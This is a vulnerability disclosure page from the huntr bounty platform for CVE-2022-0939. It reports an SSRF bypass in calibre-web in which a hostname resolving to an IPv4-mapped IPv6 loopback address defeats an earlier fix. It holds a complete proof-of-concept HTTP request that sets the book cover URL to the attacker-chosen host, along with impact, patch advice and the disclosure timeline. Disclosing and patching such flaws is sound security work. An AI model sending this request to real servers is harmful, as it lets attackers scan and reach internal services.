huntr

Server-Side Request Forgery (SSRF) in janeczku/calibre-web

0

✓ Valid Reported on Mar 6th 2022

Description

The fix for my previous report (CVE-2022-0767) is still incomplete and could be bypassed via IPV4/IPV4 embedding :

`ssrf-ipv4_ipv6.etclab.top` will resolve to `0:0:0:0:0:ffff:127.0.0.1`

Proof of Concept

```
POST /admin/book/1 HTTP/1.1
Host: 127.0.0.1:8083
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/201001
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,im
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------144
Content-Length: 2321
Origin: null
Connection: close
Cookie: session=.eJwljjlqBDEQAP-i2EEf6lZrPzNIfWBjsGFmNzL-uwccVlFB_bSjzrze2-
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------144323342421205597093798675 89
Content-Disposition: form-data; name="csrf_token"

ImM3Y2NiNjIyMGM4Y2QxZWU3MTA0ZmY3MmViYmVkZTI3NGZkMjYyZDki.Yhn
-----------------------------144323342421205597093798675 89
```

```
Content-Disposition: form-data; name="book_title"

A Christmas Carol in Prose; Being a Ghost Story of Christmas
-----------------------------14432334242120559709379867589
Content-Disposition: form-data; name="author_name"

Charles Dickens
-----------------------------14432334242120559709379867589
Content-Disposition: form-data; name="description"

<p>Test</p>
-----------------------------14432334242120559709379867589
Content-Disposition: form-data; name="tags"

Christmas stories, Ghost stories, London (England) -- Fiction, Misers -- Fi
-----------------------------14432334242120559709379867589
Content-Disposition: form-data; name="series"


-----------------------------14432334242120559709379867589
Content-Disposition: form-data; name="series_index"

1.0
-----------------------------14432334242120559709379867589
Content-Disposition: form-data; name="rating"


-----------------------------14432334242120559709379867589
Content-Disposition: form-data; name="cover_url"

http://ssrf-ipv4_ipv6.etclab.top/
-----------------------------14432334242120559709379867589
Content-Disposition: form-data; name="btn-upload-cover"; filename=""
Content-Type: application/octet-stream


-----------------------------14432334242120559709379867589
Content-Disposition: form-data; name="pubdate"

2004-08-11
-----------------------------14432334242120559709379867589
```

```
-----------------------------14432334242120559709379867589
Content-Disposition: form-data; name="publisher"


-----------------------------14432334242120559709379867589
Content-Disposition: form-data; name="languages"

English
-----------------------------14432334242120559709379867589
Content-Disposition: form-data; name="btn-upload-format"; filename=""
Content-Type: application/octet-stream


-----------------------------14432334242120559709379867589
Content-Disposition: form-data; name="detail_view"

on
-----------------------------14432334242120559709379867589--
```

Impact

This vulnerability is capable of port scanning and even may execute some actions on the victim's side in case there are sensitive services on localhost.

Patch

I still strongly recommend using the Advocate library instead of requests, it will protect functionality download the remote files from SSRF attacks. **for example, even with the fix of this report, you are still vulnerable to DNS-rebinding, and using SSRF Protected libraries like Advocate will solve this problem.**

Occurrences

helper.py L734

CVE
CVE-2022-0939
(Published)

(Published)

Vulnerability Type
CWE-918: Server-Side Request Forgery (SSRF)

Severity
Critical (9)

Visibility
Public

Status
Fixed

Found by

Anna
@416e6e61
master ⌄

This report was seen 478 times.

We are processing your report and will contact the **janeczku/calibre-web** team within 24 hours. 9 months ago

We have contacted a member of the **janeczku/calibre-web** team and are waiting to hear back 9 months ago

We have sent a follow up to the **janeczku/calibre-web** team. We will try again in 7 days. 9 months ago

janeczku validated this vulnerability 8 months ago

Anna has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

We have sent a fix follow up to the **janeczku/calibre-web** team. We will try again in 7 days. 8 months ago

We have sent a second fix follow up to the **janeczku/calibre-web** team. We will try again in 10 days. 8 months ago

We have sent a third and final fix follow up to the **janeczku/calibre-web** tea considered stale. 8 months ago

Chat with us

janeczku marked this as fixed in 0.6.18 with commit 4545f4 8 months ago

The fix bounty has been dropped ✗

This vulnerability will not receive a CVE ✗

helper.py#L734 has been validated ✓

Sign in to join this conversation

huntr

home

hacktivity

leaderboard

FAQ

contact us

terms

privacy policy

part of 418sec

company

about

team

Chat with us